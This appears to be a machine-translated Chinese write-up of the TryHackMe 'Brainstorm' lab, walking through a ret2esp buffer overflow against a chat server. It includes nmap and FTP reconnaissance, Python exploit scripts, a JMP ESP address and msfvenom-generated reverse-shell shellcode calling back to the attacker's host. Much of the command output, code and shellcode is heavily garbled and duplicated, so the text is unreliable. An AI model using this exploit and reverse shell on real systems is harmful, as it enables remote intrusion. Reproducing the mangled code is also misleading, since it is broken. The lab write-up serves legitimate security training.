这次,我们将尝试“ RET2ESP攻击”,这是缓冲区溢出攻击之一。
“ tryhackme-brainstorm: https://tryhackme.com/room/brainstorm ”




部署机器和扫描网络
部署机器()
首先,部署机器。
选择“ startmachine”并显示IP,因此可以。

回答

开放了多少个端口?()
他们被问到有多少个开放端口,所以我将尝试使用NMAP扫描端口。
由于它不响应ping,请设置“ -np”。
(hacklab㉿hacklab) - [〜]└─$ nmap -pn -sv 10.10.15.108启动NMAP 7.92(https://nmap.org),2023-06-28 21:17:17 jst nmap scan报告10.10.15.108主机是UP UP UP(0.25s Latency)。未显示:997过滤的TCP端口(无响应)端口状态服务版本21/TCP OPEN FTP MICROSOFT FTPD 3389/TCP OPEN SSL/MS-WBT-SERVER? 9999/TCP开放深渊? 1服务未识别的目的地返回数据。如果您知道服务/版本,请在https://nmap.org/cgi-bin/submit.cgi?new-service上提交以下指纹:sf-port9999-tcp:v = 7.92%i = 7%i = 7%d = 6/28%时间= 649c24db%p = 649c24db%p = x864-pc-x864-pc-cc-x864-pc-cc-cc-x864-pc-linin( sf:ll,52,“欢迎\ x20to \ x20brainStorm \ x20chat \ x20 \(beta \)\ nplease \ x20enter sf:\ x20your \ x20Username \ x20username \ x20 \(max \ x2020 \ x2020 \ x20Characters \ x20characters \ x20Character \ \ x2hequest:\ x20 feast:\ x20: sf:,63,“欢迎\ x20to \ x20brainStorm \ x20Chat \ x20 \(beta \)\ nplease \ x20enter \ x sf:20 your \ x20username \ x20 \ x20 \(max \ x2020 \ x20Chancters \ x20characters \ x20characters \ x20characters \) sf:sage:\ x20“)%r(httpoptions,63,“欢迎\ x20to \ x20brainStorm \ x20chat \ x20 \ x20 \(sf:beta \)\ nplease \ x20enter \ x20enter \ x20your \ x20 your \ x20username \ x20username \ x20 \ x20 \ x2020 \ x2020 \ x2020 \ x2020 \ x2020 \ x2020 \ SF:s\):\x20Write\x20a\x20message:\x20")%r(FourOhFourRequest,63,"Welcome\x2 SF:0to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20usern SF:ame\x20\(max\x2020\x20characters\):\x20Write\x20a\x20message:\x20")%r(J SF:avaRMI,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20e sf:nter \ x20 your \ x20username \ x20 \(max \ x2020 \ x20Characters \):\ x20write \ x20a \ sf:x20message:x20message:\ x20“)%r(ensiciclines,63,63,欢迎\ x20to \ x20to \ x20to \ x20brainstorm x20brem \ x20C0cha sf:t \ x20 \(beta \)\ nplease \ x20 \ x20your \ x20Username \ x20 \(max \ x2020 \ x2020 \ x20CH sf:aracters \):\ x20write \ x20a \ x20a \ x20a \ x20mess \ x20message:x20message:\ x20'\ x20'sppred, sf:20to \ x20brainStorm \ x20Chat \ x20 \(beta \)\ nplease \ x20enter \ x20yer \ x20your \ x20user sf:name \ x20 \(max \ x2020 \ x2020 \ x20 car.) sf:rpccheck,63,“欢迎\ x20to \ x20brainStorm \ x20chat \ x20 \(beta \)\ nplease \ x2 sf:0enter \ x20your \ x20your \ x20username \ x20 \ x20 \(max \ x2020 \ x20 \ x20 \ x20 character \ x20 \ x20: sf:a \ x20message:\ x20“)%r(dnsversionbindreqtcp,63,“欢迎\ x20to \ x20to \ x20brainst sf:orm \ x20chat \ x20 \ x20 \(beta \ \) SF:2020 \ x20character \):\ x20write \ x20a \ x20message:\ x20“)%r(dnsstatusreques sf:ttcp:ttcp,63,“欢迎\ x20to \ x20to \ x20to \ x20brainstorm \ x20chat \ x20Chat \ x20chat \ x20 \ x20 \ \ \ nple” sf:er \ x20 your \ x20username \ x20 \(max \ x2020 \ x20characters \):\ x20write \ x20a \ x20a \ x2 sf:0message:\ x20“)%r(帮助,63,欢迎\ x20to \ x20to \ x20to \ x20to \ x20brainstorm \ x20C20C20C0C20C0C20C0C20C0C20CATC0C20CATC20CLAT(BETS) sf:a \)\ nplease \ x20ent \ x20 your \ x20username \ x20 \(max \ x2020 \ x20Characters \) SF:头脑风暴\ x20Chat \ x20 \(beta \)\ nplease \ x20enter \ x20your \ x20your \ x20Username \ x20Sf:\(Max \ x2020 \ x2020characters \):\ x20write \ x20write \ x20write \ x20a \ x20a \ x20message:\ x20meslage:\ x20 fiend:\ x20%) SF:ServerCookie,63,“欢迎\ X20TO \ x20brainStorm \ x20Chat \ x20 \(beta \)\ nplease sf:e \ x20enter \ x20your \ x20your \ x20username \ x20 \ x20 \(max \ x2020 \ x2020 \ x20 \ x20characters \ x20 \ x20 \ x20 sf:\ x20a \ x20message:\ x20“);服务信息:OS:Windows; CPE:CPE:/O:Microsoft:Windows Service检测执行。请在https://nmap.org/submit/上报告任何不正确的结果。 NMAP完成:1个IP地址(1个主机)在181.68秒内进行扫描
确认的三个港口是:
- 21/TCP开放FTP Microsoft FTPD
- 3389/TCP打开SSL/MS-WBT服务器?
- 9999/TCP开放深渊?
回答
我回答了3,这是错误的。但是,即使尝试了所有方法,也无法检测到六个。
它已经在论坛上进行了报道,所以我认为这可能是一个错误。
就目前而言,我增加了数字,答案为6,回答正确。 。 。 (如果有人知道,请告诉我。)

访问文件
我发现有三个开放端口。
有趣的是9999,但请注意,21 FTP是开放的。
可以通过匿名身份验证访问FTP。
可以提取任何信息,包括正在运行的文件,因此让我们从FTP开始。
您发现的EXE文件的名称是什么?
现在,让我们尝试使用匿名身份验证访问FTP。
如果您是允许匿名身份验证的FTP,则应该能够使用“匿名”登录。
┌前(hacklab㉿hacklab) - [〜]└─$ ftp 10.10.15.108连接到10.10.15.108。 220 Microsoft FTP服务名称(10.10.15.108:Hacklab):匿名331允许匿名访问,将身份(电子邮件名称)发送为密码。密码:230用户登录。远程系统类型为Windows_nt。 ftp>
正如预期的那样,允许匿名身份验证,因此我能够登录。
由于它是Windows,我尝试查看DIR上的内容,但是显示了“ 229进入扩展被动模式”的消息。
┌前(hacklab㉿hacklab) - [〜]└─$ ftp 10.10.15.108连接到10.10.15.108。 220 Microsoft FTP服务名称(10.10.15.108:Hacklab):匿名331允许匿名访问,将身份(电子邮件名称)发送为密码。密码:230用户登录。远程系统类型为Windows_nt。 ftp> dir 229进入扩展被动模式(||| 49301 |) ^C接收中止。等待遥控器完成中止。
我应该使用“被动”关闭被动模式?显然它会很好地工作。
正如我想的那样,我得到了“ 425无法打开数据连接”。
我将尝试将“ bin”设置为二进制模式,然后重试。
我能够成功检查文件夹。
FTP>被动被动模式:关闭;退回到活动模式:关闭。 FTP> DIR 200 EPRT命令成功。 150打开ASCII模式数据连接。 425无法打开数据连接。 FTP> bin 200类型设置为I. ftp> dir 200 EPRT命令成功。 125数据连接已经打开;转移开始。 08-29-19 08:36 PM<DIR>聊天服务器226转移完成。
这是一个名为ChatServer的文件夹。
让我们看一下内容。
FTP> CD ChatServer 250 CWD命令成功。 FTP> DIR 200 EPRT命令成功。 125数据连接已经打开;转移开始。 08-29-19 10:26 PM 43747 CHATSERVER.EXE 08-29-19 10:27 PM 30761 ESSFUNC.DLL 226转移完成。
有“ chatserver.exe”和“ essfunc.dll”。我认为它可能在9999上运行。
回答

使用权
这是难度水平一次增加的地方。
我也不知道这一点,所以我看了一些文章。不过,这并不是那么好。 。 。
我用作参考的网站在文章的底部列出。
准备
首先,下载您使用FTP之前发现的两个文件。
ftp>获取chatserver.exe本地:chatserver.exe远程:chatserver.exe 200 eprt命令成功。 125数据连接已经打开;转移开始。 100% |****************************************************************************************************************************************************************************************************************************************************************************************************德************************************************************************************************************************************************************************************************************************************** ************************************************************************************************************************************************************************************************************************************** ************************************************************************************************************************************************************************************************************************************** EPRT命令成功。 125数据连接已经打开;转移开始。 100% | ********************************************************************************************************************************************************************************************************** ******************************************************************************************************************************************************************************************************************* ******************************************************************************************************************************************************************************************************************* ******************************************************************************************************************************************************************************************************************* ******************************************************************************************************************************************************************************************************************* ******************************************************************************************************************************************************************************************************************* ******************************************************************************************************************************************************************************************************************* *******************************************************************************************************************************************************************************************************************
接下来,让我们看一下我们在PortScan上发现的9999的情况。
┌-─(hacklab㉿hacklab) - [〜]└─$ nc -nv 10.10.15.108 9999(未知)[10.10.15.108] 9999(?)公开欢迎来到集思广益聊天(beta)(beta) 信息:
似乎正在运行类似聊天的服务,您可以在其中输入最多20个字符的用户名,并且似乎没有字符限制的消息。
如果有可能发生缓冲区溢出,则是一条消息。
在此之前,让我们检查一下您刚刚下载的ChatServer.exe是否是同一服务。
将您刚下载到Windows机器的文件移动。
PS C:\ Users \ Hackl \ share \ brainstorm>。\ chatserver.exe聊天服务器启动了!称为基本功能DLL版本1.00等待连接。从127.0.0.1:59586接收到客户连接,客户端127.0.0.1:59586选定的用户名:hacklab客户端127.0.0.1:59586封闭连接。
启动后,尝试使用NC从Kali连接。
┌──(hacklab㉿hacklab)-[~] └─$ nc -nv 192.168.0.126 9999 (UNKNOWN) [192.168.0.126] 9999 (?) open Welcome to Brainstorm chat (beta) Please enter your username (max 20 characters): hacklab Write a message: hacking Wed Jun 28 22:20:52 2023 hacklab说:黑客写一条消息:
现在,我们知道这是同一服务的可执行文件。
安装免疫调试器
从这里开始,我们将使用免疫调试器。
您可以从下面下载它,因此请下载。 (您需要输入一些个人信息。)
如果您没有Python,则似乎会插入Python,因此请安装它。
我也将使用Mona,所以请下载它。
请在“ C:\ Program Files(X86)\ Immunity Inc \ Immunity Debugger \ PyCommands”中包含“ mona.py”。
测试溢出后,通过输入大量字符,确定EIP偏移。
现在,在Windows计算机上启动chatserver.exe。
PS C:\ Users \ Hackl \ share \ brainstorm>。\ chatserver.exe聊天服务器启动了!称为基本功能DLL版本1.00等待连接。
启动后,开始免疫调试器并附加聊天服务器。


附加后,您将看到下面的屏幕。
右下角被暂停。

按F9运行。

现在,我将尝试将1000位数字放入用户名中。
┌-─(hacklab㉿hacklab) - [〜]└─$ nc -nv 192.168.0.126 99991⨯(未知)[192.168.0.126] 9999(?)开放欢迎对Brainstorm Chat(Beta)开放,请输入您的Eermername(Max 20个字符): AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA写消息:6月28日星期三测试23:10:36 2023 AAAAAAA说:测试
它没有任何问题。看起来已经被截断了20位。
似乎对消息没有特殊的限制,因此我增加了数字的数量并输入了它,并且坠毁在2500左右。
(hacklab㉿hacklab) - [〜]└─$ nc -nv 192.168.0.126 9999(未知)(192.168.0.126] 9999(?)开放欢迎来到Brainstorm chat(BETA),请输入您的用户(MAX 20字符):test YourName(Max 20字符)。
在免疫调试器下,它说“将例外情况传递给编程”,事实证明发生了错误。
另外,请确保EIP寄存器装有“ 41(a)”。
这意味着启用了缓冲区溢出。
EIP寄存器:保留接下来要执行的本机代码的地址

接下来,找到EIP的确切偏移。
用“ MSF-Pattern_Create”生成2500个字符。
(hacklab㉿hacklab) - [〜/tryhackme/rabystorm]└─$ msf-pattern_create -l 2500
发送此消息。
┌──(hacklab㉿hacklab)-[~] └─$ nc -nv 192.168.0.126 9999 1 ⨯ (UNKNOWN) [192.168.0.126] 9999 (?) open Welcome to Brainstorm chat (beta) Please enter your username (max 20 characters): test Write a message:
坠机设置为“ 31704330”时的EIP。

接下来,在“ MSF-Pattern_offset”中找到与“ 31704330”匹配的偏移量。
┌ - (hacklab㉿hacklab) - [〜/tryhackme/rabhstorm]└─$ msf -pattern_offset -l 2500 -q 31704330 [*] eartset 2012上的精确匹配
这样,我发现EIP偏移量是2012年。
此外,由于它是“ 31704330”,因此是4个字节,因此似乎在2013年至2016年之间可以覆盖EIP。
我会检查一下以防万一。
另外,从这里开始,我将在Python中创建一个简单的工具。
在消息中,将2012 A提前崩溃。
我想确保我可以覆盖EIP,因此我将添加四个B并尝试运行它。
#!/usr/bin/python导入套接字,sys地址='192.168.0.126'端口= 9999 user ='test'消息=('a'a' * 2012) socket.sock_stream)s.connect(((地址,端口))s.Recv(1024)s.send(((用户 + +'\ r \ n')。encode(“ utf-8”))s.recv(1024)print(1024)print(“ message” seend s.send s.send s.send(message + +'\ r \ r \ n''''''''inf-8 as Int Int as e''ut!连接到应用程序。')sys.exit(0)最后:s.close()
EIP现在已成为“ 4242424242”。 42是B,因此似乎已经被正确覆盖了。

回答
「2012」

现在,您知道您可以溢出缓冲区并可能控制执行,需要在未启用ASLR/DEP的地方找到一个函数。为什么不检查DLL文件。
接下来,检查EIP之后的壳牌是否有足够的空间。
如果可以覆盖ESP寄存器,则是指使用ESP JMP地址将执行重定向到包含恶意壳牌的ESP的能力。
为了更详细地说, RET2ESP 的攻击技术
如果缓冲区溢出并且堆栈的开始是壳牌码,则ESP指向ShellCode,因此将其重定向到ESP使得可以执行ShellCode。
- ESP
堆栈指针。存储堆叠在堆栈区域顶部的数据的存储地址。堆栈从内存的上地址堆叠到下部地址,因此ESP是指存储在最低地址的数据。 - JMP ESP
ESP ESP每次启动时都有不同的值,因此不可能将ESP地址进行编码。
因此,您将需要一个将重定向到ESP的JMP ESP地址。
尝试将500 CS放在EIP后面并运行它们。
#!/usr/bin/python导入套接字,sys地址='192.168.0.126'端口= 9999 user ='test'消息=('a'a' * 2012) socket.socket(socket.af_inet,socket.sock_stream)s.connect(((地址,端口))s.Recv(1024) E:打印(e)打印('[!]无法连接到应用程序。')sys.exit(0)最后:s.close()

ESP可以被“ C”覆盖。
ESP意味着您可以使用JMP地址将执行重定向到包含ShellCode的ESP。
接下来,我们将寻找Jum Esp。
!Mona JMP -R ESP


大约有9个有效的JMP ESP,但我们将使用第一个“ 625014DF”。
在此地址,覆盖EIP,将其重定向到ESP并导致执行壳牌。
#!/usr/bin/python导入套接,sys地址='192.168.0.126'端口= 9999 user ='test'.encode(“ utf-8”) 500).encode("utf-8") message += eip message += payload # message += nop # message += buf try: print('[+] Sending buffer') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((address,port)) s.recv(1024) s.send(user + '\ r \ n'.Encode(“ utf-8”))s.Recv(1024)print(“ message”)s.send(message +'\ r \ r \ r \ r \ n'.endode(“ utf-8”))例外例外为e:e:print(e print(e)print(e)print('[!]无法连接到应用程序。
如果您使用“ 625014DF”留下断点,您会发现它的运行顺利。

可能禁止某些十六进制字符以防止执行外壳,因此让我们看一下。
这个被禁止的角色称为坏角色。
请注意,禁止字符不能包含在跳跃地址或壳牌中。
一个典型的例子是\ x00(null)是无效的字符,可以排除在外。
检查\ x01至\ xff。
(hacklab㉿hacklab) - [〜/tryhackme/rabhinstorm]└─$ cat test2.py#!/usr/usr/bin/python进口套接字,sys dorke ='192.168.0.126'端口= 9999 badchars =(“ \ x01 \ x02 \ x03 \ x04 \ x05 \ x05 \ x06 \ x07 \ x07 \ x08 \ x09 \ x09 \ x0a \ x0b \ x0b \ x0c \ x0c \ x0d \ x0d \ x0d \ x0e \ x0e \ x0f \ x0f \ x10” “ \ x11 \ x12 \ x13 \ x14 \ x15 \ x16 \ x16 \ x17 \ x18 \ x18 \ x19 \ x1a \ x1a \ x1b \ x1c \ x1c \ x1d \ x1d \ x1e \ x1e \ x1f \ x1f \ x10” “ \ x21 \ x22 \ x23 \ x24 \ x25 \ x26 \ x27 \ x27 \ x28 \ x28 \ x29 \ x2a \ x2b \ x2b \ x2c \ x2c \ x2d \ x2d \ x2e \ x2e \ x2e \ x2f \ x2f \ x30” “ \ x31 \ x32 \ x33 \ x34 \ x35 \ x36 \ x36 \ x37 \ x38 \ x38 \ x39 \ x3a \ x3a \ x3b \ x3c \ x3c \ x3d \ x3d \ x3e \ x3e \ x3e \ x3f \ x3f \ x40 “ \ x41 \ x42 \ x43 \ x44 \ x45 \ x45 \ x46 \ x47 \ x48 \ x48 \ x49 \ x49 \ x4a \ x4b \ x4b \ x4c \ x4d \ x4d \ x4d \ x4e \ x4e \ x4f \ x4f \ x4f \ x50” “ \ x51 \ x52 \ x53 \ x54 \ x55 \ x56 \ x56 \ x57 \ x58 \ x58 \ x59 \ x5a \ x5a \ x5b \ x5b \ x5c \ x5d \ x5d \ x5e \ x5e \ x5e \ x5f \ x5f \ x60” “ \ x61 \ x62 \ x63 \ x64 \ x65 \ x66 \ x66 \ x67 \ x68 \ x68 \ x69 \ x6a \ x6a \ x6b \ x6b \ x6c \ x6d \ x6d \ x6e “ \ x71 \ x72 \ x73 \ x74 \ x75 \ x76 \ x76 \ x77 \ x78 \ x78 \ x79 \ x7a \ x7a \ x7b \ x7b \ x7c \ x7d \ x7d \ x7E “ \ x81 \ x82 \ x83 \ x84 \ x85 \ x86 \ x87 \ x87 \ x88 \ x88 \ x89 \ x8a \ x8a \ x8b \ x8c \ x8c \ x8d \ x8d \ x8e \ x8e \ x8f \ x8f \ x8f \ x90” “ \ x91 \ x92 \ x93 \ x94 \ x95 \ x96 \ x97 \ x97 \ x98 \ x98 \ x99 \ x9a \ x9b \ x9b \ x9c \ x9c \ x9d \ x9d \ x9e \ x9e \ x9f \ x9f \ xa0” “ \ xa1 \ xa2 \ xa3 \ xa4 \ xa5 \ xa6 \ xa6 \ xa7 \ xa8 \ xa8 \ xa9 \ xaa \ xab \ xab \ xac \ xac \ xad \ xAd \ xae \ xaf \ xaf \ xb0” “ \ xb1 \ xb2 \ xb3 \ xb4 \ xb5 \ xb6 \ xb6 \ xb7 \ xb8 \ xb8 \ xb9 \ xba \ xbb \ xbb \ xbc \ xbc \ xbd \ xbe \ xbe \ xbf \ xbf \ xbf \ xc0” “ \ xc1 \ xc2 \ xc3 \ xc4 \ xc5 \ xc6 \ xc7 \ xc7 \ xc8 \ xc8 \ xc9 \ xca \ xca \ xcb \ xcc \ xcd \ xcd \ xce \ xcf \ xcf \ xcf \ xd0” “ \ xd1 \ xd2 \ xd3 \ xd4 \ xd5 \ xd5 \ xd6 \ xd7 \ xd8 \ xd8 \ xd9 \ xda \ xda \ xdb \ xdb \ xdc \ xdd \ xdd \ xde \ xde \ xde \ xdf \ xdf \ xe0 “ \ xe1 \ Xe2 \ Xe3 \ Xe4 \ Xe5 \ Xe6 \ Xe6 \ Xe7 \ Xe8 \ Xe8 \ Xe9 \ Xea \ Xea \ Xeb \ Xeb \ Xec \ XED \ XEED \ Xee \ XEF \ XEF \ XEF \ XEF \ XEF \ XEF \ XF \ XF0” “ \ xf1 \ xf2 \ xf3 \ xf4 \ xf5 \ xf6 \ xf6 \ xf7 \ xf8 \ xf8 \ xf9 \ xf9 \ xfb socket.socket(socket.af_inet,socket.sock_stream)s.connect(((地址,端口))s.Recv(1024) E:打印(e)打印('[!]无法连接到应用程序。')sys.exit(0)最后:s.close()
通过查看十六进制垃圾场,没有无效的角色。
换句话说,除了无效字节以外,似乎无需考虑其他任何事情。

回答
JMP ESP

由于这将有效,因此您可以尝试生成一些shellCode - 使用MSFVENOM生成Windows的ShellCode。 (这起作用,因此请尝试生成一些ShellCode。使用MSFVENOM生成Windows的ShellCode。)
接下来,我们将生成反向外壳的十六进制代码。
使用msfvenom。
- -p:指定有效载荷类型:Windows/shell_reverse_tcp
- LHOST:指定要连接的本地主机的IP地址:攻击机的IP
- LPORT:指定要连接到的本地端口:攻击机上的端口侦听
- 出口:线程
- -f:指定格式:py
- -e:指定编码器:x86/shikata_ga_nai
- -b:指定无效字符:“ \ x00”
(hacklab㉿hacklab) - [〜/tryhackme/rabhstorm]└─$ msfvenom -p windows/shell_reverse_tcp lhost = 192.168.0.158 lport = 1234 exitfunc = 1234 exitfunc = treend -e x86/shikata_ga_ga_ga_nai waseplate -shikata_ga_nai wassoppy wassoppy wassoppy MSF :: Module :: Platform :: Windows fromageload [ - ]未选择拱门,从有效负载中选择Arch:X86找到1个兼容的编码器,试图用X86/SHIKATA_GA_NAI X86/SHIKATA_GA_NAI的1个迭代编码有效负载,并与351 size doelellolage 351(iTeperation)大小:351字节PY文件的最终大小:1712 bytes buf = b“” buf += b“ \ xba \ xae \ x14 \ x14 \ x6c \ x6c \ x9a \ xda \ xda \ xd6 \ xd6 \ xd9 \ xd9 \ x74 \ x74 \ x24 \ x24 b“ \ xc9 \ xb1 \ x52 \ x83 \ xe8 \ xfc \ x31 \ x50 \ x50 \ x0e \ x03 \ xfe \ xfe \ x1a \ x8e” buf += b“ \ x6f \ x02 \ xca \ xcc \ x90 \ xfa \ x0b \ xb1 \ xb1 \ x19 \ x1f \ x1f \ x3a \ xf1 \ x7e” buf += b“ \ x54 \ x6d \ xc1 \ xf5 \ x38 \ x82 \ xaa \ x58 \ x58 \ xa8 \ x11 \ xde \ xde \ x74 \ xdf” buf += b“ \ x92 \ x55 \ xa3 \ xee \ x23 \ xc5 \ x97 \ x97 \ x71 \ xa0 \ xa0 \ x14 \ xc4 \ xc4 \ x51 \ x99” buf += b“ \ xd6 \ x19 \ x90 \ xde \ x0b \ xd3 \ xc0 \ xb7 \ xb7 \ x40 \ x46 \ x46 \ xf4 \ xbc \ xbc \ x1d” buf += b“ \ x5b \ x7f \ x8e \ xb0 \ xdb \ x9c \ x47 \ xb2 \ xca \ xca \ x33 \ xd3 \ xd3 \ xed \ xcc” buf += b“ \ xb2 \ x30 \ x86 \ x44 \ xac \ x55 \ xa3 \ x1f \ x1f \ x47 \ xad \ x5f \ x5f \ x9e \ x81” buf += b“ \ xff \ xa0 \ x0d \ xec \ xcf \ x52 \ x4f \ x29 \ xf7 \ xf7 \ x8c \ x3a \ x3a \ x43 \ x43 \ x0b” buf += b“ \ x30 \ x3d \ x90 \ x71 \ xee \ xc8 \ x02 \ xd1 \ xd1 \ x65 \ x6a \ x6a \ xee \ xe3 \ xe3 \ xaa” buf += b“ \ xed \ x65 \ xef \ x07 \ x79 \ x21 \ xec \ x96 \ xae \ xae \ x5a \ x5a \ x08 \ x12 \ x51 \ x51” buf += b“ \ x8c \ x98 \ x60 \ x76 \ x08 \ xc0 \ x33 \ x17 \ x17 \ x09 \ xac \ xac \ x92 \ x28 \ x28 \ x49” buf += b“ \ x0f \ x4a \ x8d \ x02 \ xa2 \ x9f \ xbc \ xbc \ x49 \ xab \ x6c \ x6c \ x8d \ x71 \ x71 \ x2b” buf += b“ \ xfb \ x86 \ x02 \ x19 \ xa4 \ x3c \ x8c \ x8c \ x11 \ x2d \ x9b \ x9b \ x4b \ x4b \ x55 \ x04” buf += b“ \ x5b \ xc3 \ xa8 \ xa7 \ x9c \ xca \ xca \ x6e \ xf3 \ xcc \ xcc \ x64 \ x46 \ x46 \ x7c \ x87” buf += b“ \ x74 \ x67 \ xa9 \ x08 \ x24 \ xc7 \ xc7 \ x02 \ xe9 \ x94 \ x94 \ xa7 \ xf2 \ x81 \ x81 \ xfe” buf += b“ \ x27 \ x2c \ xb1 \ x01 \ xe2 \ x45 \ x58 \ xf8 \ xf8 \ x65 \ xaa \ xaa \ x35 \ x35 \ x02 \ xe8” buf += b“ \ x42 \ x44 \ x02 \ x10 \ x41 \ xc1 \ xc1 \ xe4 \ x72 \ x75 \ x75 \ x84 \ xbf \ xbf \ xea \ xea \ xec” buf += b“ \ x8d \ x4b \ x8a \ xf1 \ x1b \ x36 \ x8c \ x7a \ x7a \ xa8 \ xc7 \ xc7 \ x43 \ x43 \ x8b \ xc5” buf += b“ \ xdb \ x34 \ x7b \ x90 \ x81 \ x93 \ x84 \ x84 \ x0e \ xad \ x78 \ x78 \ x16 \ xd5 \ x2d \ x2d” buf += b“ \ xf6 \ x0b \ x42 \ x7a \ x5f \ xfd \ x9b \ xee \ xee \ x4d \ xa4 \ x35 \ x35 \ x0c \ x8c” buf += b“ \ x30 \ x7d \ x94 \ x4b \ x81 \ x80 \ x15 \ x19 \ x19 \ xbd \ xa6 \ x05 \ x05 \ xe7 \ x3e” buf += b“ \ xe3 \ x71 \ xb7 \ x68 \ xbd \ x2f \ x2f \ x71 \ xc3 \ xc3 \ x0f \ x99 \ x2b \ xb8 \ xb8 \ xd9” buf += b“ \ x4d \ xad \ xf2 \ xd9 \ x0b \ xb2 \ xde \ xaf \ xaf \ xf3 \ x03 \ xb7 \ xb7 \ xe9 \ xe9 \ x0c” buf += b“ \ xab \ x5f \ xfe \ x75 \ xd1 \ xff \ xf \ x01 \ xac \ x51 \ x51 \ x1f \ xe0 \ x64 \ x64 \ xac” buf += b“ \ x88 \ xbd \ xed \ x0d \ xd5 \ xd5 \ x3d \ xd8 \ x52 \ xe0 \ xbd \ xbd \ xe8 \ x2a \ x2a \ x17” buf += b“ \ xdd \ x99 \ x2f \ x53 \ x59 \ x72 \ x42 \ x42 \ xcc \ x0c \ x74 \ x74 \ xf1 \ XED \ XED \ X04”
现在您有一个反向外壳。
回答
见上文

获得访问后,root.txt文件的内容是什么?
现在您已经拥有所有必要的信息,让我们把它们放在一起。
- EIP偏移:'a' * 2012:适当的2012字节
- eip:'\ xdf \ x14 \ x50 \ x62':JMP ESP地址
- NOP:大约20:在脚本的开头增加了20个NOP,以避免在解码阶段避免错误。
- buf:shell脚本
完成此操作后,请尝试反向外壳。
